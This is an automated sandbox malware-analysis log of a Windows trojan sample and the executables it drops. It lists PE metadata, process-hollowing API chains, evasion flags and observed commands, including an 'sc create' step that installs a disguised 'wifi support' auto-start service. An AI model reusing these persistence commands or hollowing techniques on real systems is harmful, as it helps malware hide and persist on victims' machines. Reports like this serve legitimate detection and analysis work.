Source: D489.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D489.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D489.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E812.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E812.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E812.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E812.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7C86.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7C86.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7C86.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8939.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8939.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8939.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8939.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D675.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D675.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D675.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D675.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 85ED.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 85ED.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 85ED.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 85ED.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1530.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1530.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1530.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 259C.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: jhewjjt.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: jhewjjt.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: jhewjjt.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: jhewjjt.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: exmrkmjs.exe.26.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: exmrkmjs.exe.26.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: exmrkmjs.exe.26.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: exmrkmjs.exe.26.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Section loaded: mscorjit.dll

Source: JV4ILFxpDY.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\rdxbevsp\

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: String function: 00422CA0 appears 133 times
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: String function: 0041E420 appears 172 times
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: String function: 00402544 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: String function: 0041E280 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\D675.exe	Code function: String function: 004048D0 appears 460 times
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: String function: 00422AA0 appears 133 times
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: String function: 0041E220 appears 172 times

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 0_2_00640110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_00640110
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_00401962 Sleep,NtTerminateProcess,	2_2_00401962
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_0040196D Sleep,NtTerminateProcess,	2_2_0040196D
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_2_00402000
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	2_2_0040250A
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_00401A0B NtTerminateProcess,	2_2_00401A0B
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_2_0040201A
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_2_0040201E
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_2_0040202D
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_00402084 LocalAlloc,NtQuerySystemInformation,	2_2_00402084
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_2_00402491 NtOpenKey,	2_2_00402491
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_1_00402000
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	2_1_0040250A
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_1_0040201A
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_1_0040201E
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	2_1_0040202D
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_1_00402084 LocalAlloc,NtQuerySystemInformation,	2_1_00402084
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Code function: 2_1_00402491 NtOpenKey,	2_1_00402491
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 14_2_00570110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	14_2_00570110
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_00401962 Sleep,NtTerminateProcess,	15_2_00401962
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_0040196D Sleep,NtTerminateProcess,	15_2_0040196D
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_00402000
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	15_2_0040250A
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_00401A0B NtTerminateProcess,	15_2_00401A0B
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040201A
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040201E
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040202D
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_00402084 LocalAlloc,NtQuerySystemInformation,	15_2_00402084
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_2_00402491 NtOpenKey,	15_2_00402491
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_00402000
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	15_1_0040250A
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_0040201A
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_0040201E
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_0040202D
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_1_00402084 LocalAlloc,NtQuerySystemInformation,	15_1_00402084
Source: C:\Users\user\AppData\Roaming\jhewjjt	Code function: 15_1_00402491 NtOpenKey,	15_1_00402491
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 21_2_00570110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	21_2_00570110
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_00401962 Sleep,NtTerminateProcess,	24_2_00401962
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_0040196D Sleep,NtTerminateProcess,	24_2_0040196D
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_2_00402000
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	24_2_0040250A
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_00401A0B NtTerminateProcess,	24_2_00401A0B
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_2_0040201A
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_2_0040201E
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	24_2_0040202D
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_00402084 LocalAlloc,NtQuerySystemInformation,	24_2_00402084
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Code function: 24_2_00402491 NtOpenKey,	24_2_00402491
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Code function: 26_2_00401820 GetCurrentProcess,NtQueryInformationToken,	26_2_00401820

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Code function: 26_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

26_2_00408E26

Source: D489.exe.10.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 7C86.exe.10.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 1530.exe.10.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 754.exe.10.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: F10C.exe.10.dr	Static PE information: Section: .rsrc ZLIB complexity 0.997770524618
Source: 754.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 754.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 259C.exe.10.dr	Static PE information: Section: .didata ZLIB complexity 0.999523355577
Source: 36D4.exe.10.dr	Static PE information: Section: .rsrc ZLIB complexity 0.996205570134

Source: JV4ILFxpDY.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@50/33@90/12

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

Code function: 26_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

26_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\85ED.exe

26_2_00409A6B

Source: JV4ILFxpDY.exe

Virustotal: Detection: 33%

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\JV4ILFxpDY.exe "C:\Users\user\Desktop\JV4ILFxpDY.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Process created: C:\Users\user\Desktop\JV4ILFxpDY.exe "C:\Users\user\Desktop\JV4ILFxpDY.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jhewjjt C:\Users\user\AppData\Roaming\jhewjjt
Source: C:\Users\user\AppData\Roaming\jhewjjt	Process created: C:\Users\user\AppData\Roaming\jhewjjt C:\Users\user\AppData\Roaming\jhewjjt
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7C86.exe C:\Users\user\AppData\Local\Temp\7C86.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8939.exe C:\Users\user\AppData\Local\Temp\8939.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1316 -ip 1316
Source: C:\Users\user\AppData\Local\Temp\7C86.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 520
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Process created: C:\Users\user\AppData\Local\Temp\8939.exe C:\Users\user\AppData\Local\Temp\8939.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D675.exe C:\Users\user\AppData\Local\Temp\D675.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\85ED.exe C:\Users\user\AppData\Local\Temp\85ED.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8DFC.exe C:\Users\user\AppData\Local\Temp\8DFC.exe
Source: unknown	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
Source: unknown	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\rdxbevsp\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\exmrkmjs.exe" C:\Windows\SysWOW64\rdxbevsp\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process created: C:\Users\user\AppData\Local\Temp\8DFC.exe C:\Users\user\AppData\Local\Temp\8DFC.exe
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create rdxbevsp binPath= "C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe /d\"C:\Users\user\AppData\Local\Temp\85ED.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Process created: C:\Users\user\Desktop\JV4ILFxpDY.exe "C:\Users\user\Desktop\JV4ILFxpDY.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7C86.exe C:\Users\user\AppData\Local\Temp\7C86.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8939.exe C:\Users\user\AppData\Local\Temp\8939.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D675.exe C:\Users\user\AppData\Local\Temp\D675.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\85ED.exe C:\Users\user\AppData\Local\Temp\85ED.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8DFC.exe C:\Users\user\AppData\Local\Temp\8DFC.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jhewjjt	Process created: C:\Users\user\AppData\Roaming\jhewjjt C:\Users\user\AppData\Roaming\jhewjjt	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1316 -ip 1316	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 520	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Process created: C:\Users\user\AppData\Local\Temp\8939.exe C:\Users\user\AppData\Local\Temp\8939.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Process created: C:\Users\user\AppData\Local\Temp\8DFC.exe C:\Users\user\AppData\Local\Temp\8DFC.exe

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\7C86.tmp

Jump to behavior

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe

Code function: 0_2_00419D2A SetLastError,GetProfileStringA,WriteProfileSectionW,GetProfileStringA,GetLastError,GetSystemWow64DirectoryW,GetWindowsDirectoryA,GetCPInfoExA,GetDiskFreeSpaceExA,GetStartupInfoW,ReadConsoleOutputCharacterW,GlobalUnWire,GetProcessHeap,GetProcessHeaps,WritePrivateProfileStringA,GetPriorityClass,

0_2_00419D2A

Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\8DFC.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5104:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6456:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5028:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5340:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1316
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4060:120:WilError_01

Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: 0.0	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: hijaduvinijebup	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: mocisacatenu	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: wapejan	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: wovag	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: cbH	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: Piruvora	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: gukafipa	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: mawecamaxe	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: Hiwejanoji	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: Pusazide	0_2_00419F7F
Source: C:\Users\user\Desktop\JV4ILFxpDY.exe	Command line argument: hukujid	0_2_00419F7F
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: 0.0	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: hijaduvinijebup	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: mocisacatenu	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: wapejan	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: wovag	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: cbH	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: Piruvora	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: gukafipa	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: mawecamaxe	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: Hiwejanoji	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: Pusazide	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\8939.exe	Command line argument: hukujid	21_2_00419D77
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Command line argument: cbH	26_2_00419DF7
Source: C:\Users\user\AppData\Local\Temp\85ED.exe	Command line argument: cbH	26_2_00419DF7

Source: 8DFC.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8DFC.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.8DFC.exe.8d0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.8DFC.exe.8d0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.2.8DFC.exe.8d0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.2.8DFC.exe.8d0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.8DFC.exe.8d0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.8DFC.exe.8d0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.8DFC.exe.8d0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.8DFC.exe.8d0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\7C86.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

